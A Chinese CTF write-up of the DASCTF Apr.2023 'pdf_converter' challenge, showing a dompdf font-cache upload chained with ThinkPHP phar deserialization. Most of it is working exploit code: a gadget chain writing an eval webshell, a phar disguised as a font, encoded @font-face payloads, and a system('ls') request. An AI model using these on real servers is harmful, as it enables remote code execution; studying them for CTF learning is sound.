首页 > 其他分享 >web: pdf_converter | DASCTF Apr.2023 X SU战队2023开局之战

web: pdf_converter | DASCTF Apr.2023 X SU战队2023开局之战

时间:2023-04-27 15:11:07浏览次数:48  
标签:web Apr.2023 normal phar dompdf 战队 252B% font think

image

题目内容

这道题是给源码的,是个 thinkphp 项目,可以直接看看控制器
image

就一个 pdf 方法,用了 dompdf 库,然后把用户传入的 content 写到 pdf 中。
既然这么明显,那就搜索 dompdf 漏洞

知识点

首先看到:https://ghostasky.github.io/2022/03/19/dompdf/
首先看到这里说,如果传入自定义的 css ,那么dompdf 会去加载自定义的 tty 字体文件

@font-face {
    font-family:'exploitfont';
    src:url('http://localhost:9001/xxxx.ttf');
    font-weight:'normal';
    font-style:'normal';
  }

然后系统会重命名 tty 文件,类似为exploitfont_normal_d249c21fbbb1302ab53282354d462d9e.ttf 格式是 font-family_font-style_md5(src:url)
然后系统会把这个文件保存到 dompdf/dompdf/lib/fonts/font-family_font-style_md5(src:url).tty
然后这里就涉及到了,dompdf 的好几个漏洞了,其中一个是,如果你指定下载 xxx.php 文件,最终保存的也是 xxx_xxx_xxx.php 文件,那么这就是一个 shell 写入漏洞了。
但是我们这里题目考的是 thinkphp 框架,我们只能访问 public 目录!
然后看了别的大佬的 WP,发现这里还设计到一个 phar 反序列化的漏洞,我们可以第一次指定一个 phar 文件,这样这个 pahr 文件会被写入到系统里,然后第二次我们指定 phar://file_to_phar_name 这样就可以触发 phar 反序列化了。

上手试试

这里需要参考大佬的文章:https://buaq.net/go-129526.html

<?php
namespace think\cache\driver;
class File
{
    protected $options = [];
    protected $tag;

    public function __construct()
    {
        $this->options['path'] = 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9HRVRbc3NzXSk7Pz4=/../public/2.php';
        $this->options['cache_subdir'] = false;
        $this->options['prefix'] = false;
        $this->options['data_compress'] = false;
        $this->tag = 111;
    }

}

namespace think\session\driver;

use think\cache\driver\File;

class Memcached
{
    protected $handler = null;

    public function __construct()
    {
        $this->handler = new File();
    }
}

namespace think\console;

use think\session\driver\Memcached;

class Output
{
    protected $styles = [];
    private $handle = null;

    public function __construct()
    {
        $this->styles = ["getAttr"];
        $this->handle = new Memcached();
    }

}

namespace think\db;

use think\console\Output;

class Query
{
    protected $model;

    public function __construct()
    {
        $this->model = new Output();
    }
}

namespace think\model;
abstract class Relation
{
}

namespace think\model\relation;

use think\model\Relation;

abstract class OneToOne extends Relation
{
}

namespace think\model\relation;

use think\db\Query;

class HasOne
{
    protected $query;
    protected $selfRelation;
    protected $bindAttr = [];

    public function __construct()
    {
        $this->query = new Query();
        $this->selfRelation = false;
        $this->bindAttr = ["key无所谓" => "some string"];  // value 是半可控,不能出现 attr !
    }
}

namespace think;
abstract class Model
{
}

namespace think\model;

use think\console\Output;
use think\Model;
use think\model\relation\HasOne;

class Pivot extends Model
{
    protected $error;
    protected $append = [];
    public $parent;

    public function __construct()
    {
        $this->append = ['key' => 'getError'];
        $this->error = new HasOne();
        $this->parent = new Output();
    }
}

namespace think\process\pipes;
abstract class Pipes
{
}

namespace think\process\pipes;

use think\model\Pivot;

class Windows extends Pipes
{
    private $files = [];

    public function __construct()
    {
        $this->files = [new Pivot()];
    }
}


# 内含 phpinfo();
$tty_file_bate64 = "AAEAAAAKAO+/vQADACBkdW0xAAAAAAAAAO+/vQAAAAJjbWFwAAwAYAAAAO+/vQAAACxnbHlmNXNj77+9AAAA77+9AAAAFGhlYWQH77+9UTYAAADvv70AAAA2aGhlYQDvv70D77+9AAABKAAAACRobXR4BEQACgAAAUwAAAAIbG9jYQAKAAAAAAFUAAAABm1heHAABAADAAABXAAAACBuYW1lAEQQ77+9AAABfAAAADhkdW0yAAAAAAAAAe+/vQAAAAIAAAAAAAAAAQADAAEAAAAMAAQAIAAAAAQABAABAAAALe+/ve+/vQAAAC3vv73vv73vv73vv70AAQAAAAAAAQAKAAAAOgA4AAIAADMjNTowOAABAAAAAQAAF++/ve+/vRZfDzzvv70ACwBAAAAAAO+/vRU4BgAAAADvv70m270ACgAAADoAOAAAAAYAAQAAAAAAAAABAAAATO+/ve+/vQASBAAACgAKADoAAQAAAAAAAAAAAAAAAAAAAAIEAAAAAEQACgAAAAAACgAAAAEAAAACAAMAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEADYAAwABBAkAAQACAAAAAwABBAkAAgACAAAAAwABBAkAAwACAAAAAwABBAkABAACAAAAcwAAAAAKPD9waHAgcGhwaW5mbygpOyA/Pg==";
$win = new Windows();


@unlink("exp_dompdf.phar");
$phar = new \Phar("exp_dompdf.phar");
$phar->stopBuffering();
$phar->setStub(base64_decode($tty_file_bate64).'<?php __HALT_COMPILER(); ?>');
$phar->setMetadata($win);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
$exp_base = base64_encode(file_get_contents("exp_dompdf.phar"));
$url_encode_exp_base = urlencode(urlencode($exp_base));

# 第一步
$style_str = <<<EOF
content=<style> @font-face { font-family:'exploit'; src:url('data:text/plain;base64,$url_encode_exp_base'); font-weight:'normal'; font-style:'normal'; } </style>
EOF;
echo "第一步,传入 phar 文件:\n".$style_str;

# 第二步
$path = "data:text/plain;base64,".$exp_base;
$md5_str = md5($path);

$phar_file_path = "phar:///var/www/html/vendor/dompdf/dompdf/lib/fonts/exploit_normal_$md5_str.ttf##";
$style_str = <<<EOF
content=<style> @font-face { font-family:'exploit'; src:url('$phar_file_path'); font-weight:'normal'; font-style:'normal'; } </style>
EOF;
echo "\n第二步,执行 phar 文件:\n".$style_str;


##### 然后我发现这 md5 咋跟 dompdf 系统算出来的不一样呢?????

代码的上半部分是 thinkphp 的任意文件写入反序列化的代码:详见:https://www.yuque.com/sanqiushu-dsz56/efe3vx/knbaoms65g3m1dpq
下半部分是 phar 文件和 payload 的生成

然后就是算 MD5 的哪里,就是算不对,真实服了啊
没办法只能本地的 dompdf 运行一下看看 md5 是啥了
我这里直接给出三次请求的内容吧
request 1:
image

content=<style> @font-face { font-family:'exploit'; src:url('data:text/plain;base64,AAEAAAAKAO%252B%252FvQADACBkdW0xAAAAAAAAAO%252B%252FvQAAAAJjbWFwAAwAYAAAAO%252B%252FvQAAACxnbHlmNXNj77%252B9AAAA77%252B9AAAAFGhlYWQH77%252B9UTYAAADvv70AAAA2aGhlYQDvv70D77%252B9AAABKAAAACRobXR4BEQACgAAAUwAAAAIbG9jYQAKAAAAAAFUAAAABm1heHAABAADAAABXAAAACBuYW1lAEQQ77%252B9AAABfAAAADhkdW0yAAAAAAAAAe%252B%252FvQAAAAIAAAAAAAAAAQADAAEAAAAMAAQAIAAAAAQABAABAAAALe%252B%252Fve%252B%252FvQAAAC3vv73vv73vv73vv70AAQAAAAAAAQAKAAAAOgA4AAIAADMjNTowOAABAAAAAQAAF%252B%252B%252Fve%252B%252FvRZfDzzvv70ACwBAAAAAAO%252B%252FvRU4BgAAAADvv70m270ACgAAADoAOAAAAAYAAQAAAAAAAAABAAAATO%252B%252Fve%252B%252FvQASBAAACgAKADoAAQAAAAAAAAAAAAAAAAAAAAIEAAAAAEQACgAAAAAACgAAAAEAAAACAAMAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEADYAAwABBAkAAQACAAAAAwABBAkAAgACAAAAAwABBAkAAwACAAAAAwABBAkABAACAAAAcwAAAAAKPD9waHAgcGhwaW5mbygpOyA%252FPjw%252FcGhwIF9fSEFMVF9DT01QSUxFUigpOyA%252FPg0KRQUAAAEAAAARAAAAAQAAAAAADwUAAE86Mjc6InRoaW5rXHByb2Nlc3NccGlwZXNcV2luZG93cyI6MTp7czozNDoiAHRoaW5rXHByb2Nlc3NccGlwZXNcV2luZG93cwBmaWxlcyI7YToxOntpOjA7TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjM6e3M6ODoiACoAZXJyb3IiO086Mjc6InRoaW5rXG1vZGVsXHJlbGF0aW9uXEhhc09uZSI6Mzp7czo4OiIAKgBxdWVyeSI7TzoxNDoidGhpbmtcZGJcUXVlcnkiOjE6e3M6ODoiACoAbW9kZWwiO086MjA6InRoaW5rXGNvbnNvbGVcT3V0cHV0IjoyOntzOjk6IgAqAHN0eWxlcyI7YToxOntpOjA7czo3OiJnZXRBdHRyIjt9czoyODoiAHRoaW5rXGNvbnNvbGVcT3V0cHV0AGhhbmRsZSI7TzozMDoidGhpbmtcc2Vzc2lvblxkcml2ZXJcTWVtY2FjaGVkIjoxOntzOjEwOiIAKgBoYW5kbGVyIjtPOjIzOiJ0aGlua1xjYWNoZVxkcml2ZXJcRmlsZSI6Mjp7czoxMDoiACoAb3B0aW9ucyI7YTo0OntzOjQ6InBhdGgiO3M6MTI1OiJwaHA6Ly9maWx0ZXIvY29udmVydC5pY29udi51dGYtOC51dGYtN3xjb252ZXJ0LmJhc2U2NC1kZWNvZGUvcmVzb3VyY2U9YWFhUEQ5d2FIQWdRR1YyWVd3b0pGOUhSVlJiYzNOelhTazdQejQ9Ly4uL3B1YmxpYy8yLnBocCI7czoxMjoiY2FjaGVfc3ViZGlyIjtiOjA7czo2OiJwcmVmaXgiO2I6MDtzOjEzOiJkYXRhX2NvbXByZXNzIjtiOjA7fXM6NjoiACoAdGFnIjtpOjExMTt9fX19czoxNToiACoAc2VsZlJlbGF0aW9uIjtiOjA7czoxMToiACoAYmluZEF0dHIiO2E6MTp7czoxMjoia2V55peg5omA6LCTIjtzOjExOiJzb21lIHN0cmluZyI7fX1zOjk6IgAqAGFwcGVuZCI7YToxOntzOjM6ImtleSI7czo4OiJnZXRFcnJvciI7fXM6NjoicGFyZW50IjtPOjIwOiJ0aGlua1xjb25zb2xlXE91dHB1dCI6Mjp7czo5OiIAKgBzdHlsZXMiO2E6MTp7aTowO3M6NzoiZ2V0QXR0ciI7fXM6Mjg6IgB0aGlua1xjb25zb2xlXE91dHB1dABoYW5kbGUiO086MzA6InRoaW5rXHNlc3Npb25cZHJpdmVyXE1lbWNhY2hlZCI6MTp7czoxMDoiACoAaGFuZGxlciI7TzoyMzoidGhpbmtcY2FjaGVcZHJpdmVyXEZpbGUiOjI6e3M6MTA6IgAqAG9wdGlvbnMiO2E6NDp7czo0OiJwYXRoIjtzOjEyNToicGhwOi8vZmlsdGVyL2NvbnZlcnQuaWNvbnYudXRmLTgudXRmLTd8Y29udmVydC5iYXNlNjQtZGVjb2RlL3Jlc291cmNlPWFhYVBEOXdhSEFnUUdWMllXd29KRjlIUlZSYmMzTnpYU2s3UHo0PS8uLi9wdWJsaWMvMi5waHAiO3M6MTI6ImNhY2hlX3N1YmRpciI7YjowO3M6NjoicHJlZml4IjtiOjA7czoxMzoiZGF0YV9jb21wcmVzcyI7YjowO31zOjY6IgAqAHRhZyI7aToxMTE7fX19fX19CAAAAHRlc3QudHh0BAAAAMMVSmQEAAAADH5%252F2KQBAAAAAAAAdGVzdFsaHYAFdtOEpCq1Wjk9ct1aCG2dro9W7jnzV%252FbzvkuZAwAAAEdCTUI%253D'); font-weight:'normal'; font-style:'normal'; } </style>

requests2:
image

content=<style> @font-face { font-family:'exploit'; src:url('phar:///var/www/html/vendor/dompdf/dompdf/lib/fonts/exploit_normal_ae0d25af97028f23b0a1a340f874fa6c.ttf##'); font-weight:'normal'; font-style:'normal'; } </style>

request 3:
image
http://localhost:13001/2.php3c5f86b5f2ff9d35f0239a655650272a.php?sss=system('ls');

获取 flag
image

标签:web,Apr.2023,normal,phar,dompdf,战队,252B%,font,think
From: https://www.cnblogs.com/Nestar/p/17358862.html

相关文章

  • Go Web学习笔记--处理表单的输入
    通过一个注册的示例来演示如何通过Go语言来处理表单的输入。首先,创建一个简单的html文件,代码如下:<!DOCTYPEhtml><htmllang="en"><head><metacharset="UTF-8"><title>Title</title></head><body><formaction="/log......
  • spacy缺少en_core_web_sm等语言包的问题
    1.先看spacy版本2.在线下载太慢,直接去github下载本地包加载:https://github.com/explosion/spacy-models/releases注意版本号要对应3.pipinstall刚才的包问题解决 后续:en就是en_core_web_sm的老名字,代码太老是这样的 ......
  • websphere6.1开发、部署、远程调用EJB2.0
    开发工具是IBMRAD7.5.4。WAS版本6.1。EJB版本2.0。开发过程如图:新建完后,工程结构如下:再新建SessionBean下一步完成。如图:修改几个文件:packagecom.ejb;importstaticjava.lang.System.out;/***BeanimplementationclassforEnterpriseBean:HelloSession*/publicc......
  • weblogic eclipse 运行web应用程序
    开始-所有程序- OracleEnterprisePackforEclipse- OracleEnterprisePackforEclipse打开集成了的eclipse,配置weblogic服务器然后创建web应用程序,用weblogic运行就可以访问了。端口7001,例如http://127.0.0.1:7001/web/......
  • weblogic 安装、配置
    下载地址:http://www.oracle.com/technetwork/middleware/weblogic/downloads/index.html,需要注册一下我下载的文件名是oepe-indigo-installer-12.1.1.0.1.201203120349-12.1.1-win32.exe下面是安装截图安装完毕,进行配置,点击"GettingStarted..."那个菜单。配置完毕。......
  • Webserver学习笔记
    前言Webserver这个东西真的恶心的一批,很难自学,但是网上又没有现成的教程(谁没事写一个Webserver啊)。这篇文章主要提供Webserver的基本框架的思路,毕竟网站基本框架相同无疑于抄袭,SSD可以先走了。正文准备本篇博客的Webserver基于SOCKET实现,这样只是为了追求底层,相对......
  • qiankun vue子应用升级webpack5问题记录
    升级的方式是使用最新版本的vue-cli脚手架,重新创建一个新项目,然后复制@vue/cli-xxx,vue相关依赖最新版本到子应用项目->核对babel,eslint相关配置的变化->重新安装依赖,处理出现的相各种异常情况->启动项目检查功能是否正常。本次升级主要是为了使用webpack5。以下......
  • 暗藏的比特币白皮书已删除!苹果其实与Web3“格格不入”?
       据悉,Apple已从其最新的MacOSVenturabeta中删除了比特币白皮书,虽然该公司从未对白皮书的存在提供任何官方解释,但许多人猜测这是对加密货币日益增长的重要性的认可。   4月上旬,科技专家AndyBaio偶然发现,自己的Mac电脑上隐藏着比特币白皮书文件。众多网友纷纷猜测,究竟是......
  • web前端开发常用的代码编写工具有哪些?
    不同类型的开发人员使用的工具大有不同,所以说没有绝对好,对任何人员都适用的工具,我们只能以友好度,功能性,扩展性,界面/体验,跨平台等等这些来作为评判标准。下面我们就给它分类并一一介绍:大师级别vivi对于使用过unix的朋友来说,绝对是再熟悉不过的代码编辑器,有多少伟大的程序和代码......
  • 最全的WebSocket协议分析
    0实时跟服务端通信方案1轮询:客户端向服务端无限循环发送http请求,一旦服务端有最新消息,从当次http响应中带回,客户端就能收到变化2长轮回(web版微信采用此方式)客户端和服务端保持一个长连接(http),等服务端有消息返回就断开,如果没有消息,就会hold住,等待一定时间,然后再重新连接,也......